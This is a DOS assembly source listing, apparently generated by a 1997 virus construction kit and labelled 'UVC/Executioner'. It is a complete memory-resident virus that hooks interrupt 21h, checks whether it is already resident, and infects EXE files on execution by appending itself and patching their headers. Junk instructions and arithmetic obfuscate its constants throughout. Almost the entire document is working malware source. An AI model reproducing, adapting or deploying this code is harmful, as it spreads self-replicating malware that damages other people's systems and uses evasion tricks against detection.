UVC Sample Code UVC/Executioner ; Created with UVC 1.00á ; (c) 1997 Unknown/Executioner .model tiny .386 v_length equ v_finish-v_start m_length equ m_finish-v_start num_para equ (m_length+15)/16 cseg segment use16 org 0 assume cs:cseg,ds:cseg,es:cseg,ss:cseg v_start: v_entry: call delta delta: mov bp, sp mov bp, [bp] sub bp, offset delta add sp, 2 mov ax, 4b42h int 21h push ax dec ax push ax dec ax cmp ax, ((1234-1)-1) pop ax pop ax jz return_to_host call go_resident return_to_host: mov ax, ds add ax, 10h add word ptr cs:[bp+old_cs], ax add word ptr cs:[bp+old_ss], ax mov ss, word ptr cs:[bp+old_ss] mov sp, word ptr cs:[bp+old_sp] db 0eah old_ip dw 0 old_cs dw 0fff0h old_ss dw 0fff0h old_sp dw 2000h go_resident: push ds push es mov ax, ds dec ax mov ds, ax xor di, di sub word ptr ds:[di+3], num_para+1 sub word ptr ds:[di+12h], num_para+1 mov byte ptr ds:[di], 'Z' mov ax, word ptr ds:[12h] mov ds, ax mov byte ptr ds:[0] , 'Z' mov word ptr ds:[1], (((8-36c2h)+0ae10h)-000075a6h) and 0ffffh add word ptr ds:[1], 75a6h sub word ptr ds:[1], 0ae10h add word ptr ds:[1], 36c2h push si push word ptr ds:[3] pop si pop word ptr ds:[3] push si push si pop si pop si push si push word ptr ds:[3] pop si pop word ptr ds:[3] mov si, ((num_para-0e05bh)+0000e484h) and 0ffffh sub si, 0e484h add si, 0e05bh xchg word ptr ds:[3], ax xchg si, di xchg di, ax xchg di, si push word ptr ds:[3] push ax pop word ptr ds:[3] pop ax inc ax mov es, ax push cs pop s lea si, [bp+v_start] and di, 0 xchg cx, di xchg di, dx push cx push di pop cx pop di mov dx, ((((v_length+0ae43h)+72cah)-0ff58h)-0000135eh) and 0ffffh add dx, 135eh add dx, 0ff58h sub dx, 72cah sub dx, 0ae43h push dx push cx pop dx pop cx rep movsb push 0 pop ax mov ds, ax push ds lds dx, dword ptr ds:[84h] mov word ptr es:[old_int21], dx mov word ptr es:[old_int21+2], ds pop ds cli xchg bx, word ptr ds:[84h] mov bx, (((((offset new_int21+0d58h)-0cfb9h)-0a27bh)+6f90h)+13a3h)+0000e4a5h sub bx, 0e4a5h sub bx, 13a3h sub bx, 6f90h add bx, 0a27bh xchg word ptr ds:[84h], bx add word ptr ds:[84h], 0cfb9h sub word ptr ds:[84h], 0d58h mov word ptr ds:[86h], es sti pop es pop ds retn infect_file: pusha push ds push es mov ax, (((3d02h+0cf41h)+1a1bh)-0000e179h) and 0ffffh add ax, 0e179h sub ax, 1a1bh sub ax, 0cf41h int 21h push bx push ax pop bx pop ax push cs pop ds push cs pop es push si push ax pop si pop ax mov si, ((((((3f00h-0fcf9h)+9ae3h)+6119h)-4ec1h)+8628h)-000029dch) and 0ffffh add si, 29dch sub si, 8628h add si, 4ec1h sub si, 6119h xchg ax, si sub ax, 9ae3h add ax, 0fcf9h mov cx, (20h) and 0ffffh xchg dx, bx mov bx, ((((offset buffer+97d4h)-21fdh)+926fh)+0bd33h)-0001ba6fh add bx, 0ba6fh sub bx, 0bd33h push dx push bx pop dx pop bx sub dx, 926fh add dx, 21fdh sub dx, 97d4h int 21h cmp word ptr ds:[buffer+10h], 2000h jz already_infected mov si, offset buffer+14h push bx push di pop bx pop di xchg bp, bx mov bp, (((offset old_ip+1c8eh)-8adbh)-1d91h)+00009021h sub bp, 9021h add bp, 1d91h add bp, 8adbh sub bp, 1c8eh push bx push bp pop bx pop bp push bx push di pop bx pop di push eax mov eax, dword ptr ds:[si] add si, 2 mov dword ptr es:[di], eax add di, 2 pop eax xchg si, si xchg bx, si mov bx, ((offset buffer+0eh+1ad2h)-62cch)+00004960h sub bx, 4960h xchg bx, si add si, 62cch sub si, 1ad2h push si push si pop si pop si push ax mov ax, word ptr ds:[si] add si, 2 mov word ptr es:[di], ax add di, 2 pop ax movsw mov ax, ((4202h+9873h)-00009653h) and 0ffffh add ax, 9653h sub ax, 9873h push 0 pop cx sub dx, dx int 21h push ax pop cx and cx, 0fh shr ax, 4 shl dx, 9 shl dx, 3 or ax, dx sub ax, word ptr [buffer+8] mov word ptr [buffer+14h], cx mov word ptr [buffer+16h], ax mov word ptr [buffer+0eh], ax mov word ptr [buffer+10h], 2000h push ax push bx pop ax pop bx xchg bx, bp xchg ax, bx mov bp, ((((4000h+98d7h)-0b485h)-837ah)+0000ad24h) and 0ffffh sub bp, 0ad24h add bp, 837ah xchg ax, bp add ax, 0b485h sub ax, 98d7h push si push cx pop si pop cx push si push di pop si pop di mov di, (((v_length-663eh)+0df3eh)-00007153h) and 0ffffh add di, 7153h sub di, 0df3eh add di, 663eh xchg si, di xchg si, cx push 0 pop dx int 21h mov ax, ((4202h-16a0h)+00002611h) and 0ffffh sub ax, 2611h add ax, 16a0h push 0 pop cx mov dx, (((0+0cdbfh)-1a42h)-0000b2dbh) and 0ffffh add dx, 0b2dbh add dx, 1a42h sub dx, 0cdbfh int 21h xchg ax, si mov cx, si xchg si, ax and cx, 1ffh shr ax, 1 shr ax, 5 shr ax, 3 shl dx, 1 shl dx, 4 shl dx, 2 or ax, dx or cx, cx jz multiple_of_512 inc ax multiple_of_512: mov word ptr [buffer+2], cx mov word ptr [buffer+4], ax push ax push bx pop ax pop bx mov bx, (((4200h-8a2ah)-0cd6bh)+000158f1h) and 0ffffh sub bx, 58f1h add bx, 0cd6bh push bx push ax pop bx pop ax add ax, 8a2ah mov cx, (0) and 0ffffh push di push dx pop di pop dx push 0 pop di xchg di, dx int 21h push ax push bx pop ax pop bx mov bx, ((((4000h-20b0h)+2e78h)-29c7h)+00002a00h) and 0ffffh sub bx, 2a00h add bx, 29c7h sub bx, 2e78h add bx, 20b0h push ax push bx pop ax pop bx mov cx, (((20h-5071h)+0f340h)-00009d05h) and 0ffffh add cx, 9d05h sub cx, 0f340h add cx, 5071h mov dx, ((((offset buffer+4cbeh)-5336h)-0f86dh)-923eh)+0001a06ch sub dx, 0a06ch add dx, 923eh add dx, 0f86dh add dx, 5336h sub dx, 4cbeh int 21h already_infected: mov ax, ((((((3e00h+4007h)+0b66eh)+0b64bh)+0accbh)+0aba5h)-0002fb82h) and 0ffffh add ax, 0fb82h sub ax, 0aba5h sub ax, 0accbh sub ax, 0b64bh sub ax, 0b66eh sub ax, 4007h int 21h pop es pop ds popa jmp do_orig_int residency_check: mov ax, (1234h) and 0ffffh popf iret new_int21: pushf cmp ax, 4b00h jz infect_file push ax xor ax, 0be1ch push ax inc ax push ax sub ax, ((4b42h xor 0be1ch)+1) pop ax pop ax pop ax jz residency_check do_orig_int: popf jmp dword ptr cs:[old_int21] v_finish: old_int21 dd ? buffer db 20h dup (0) m_finish: cseg ends end v_start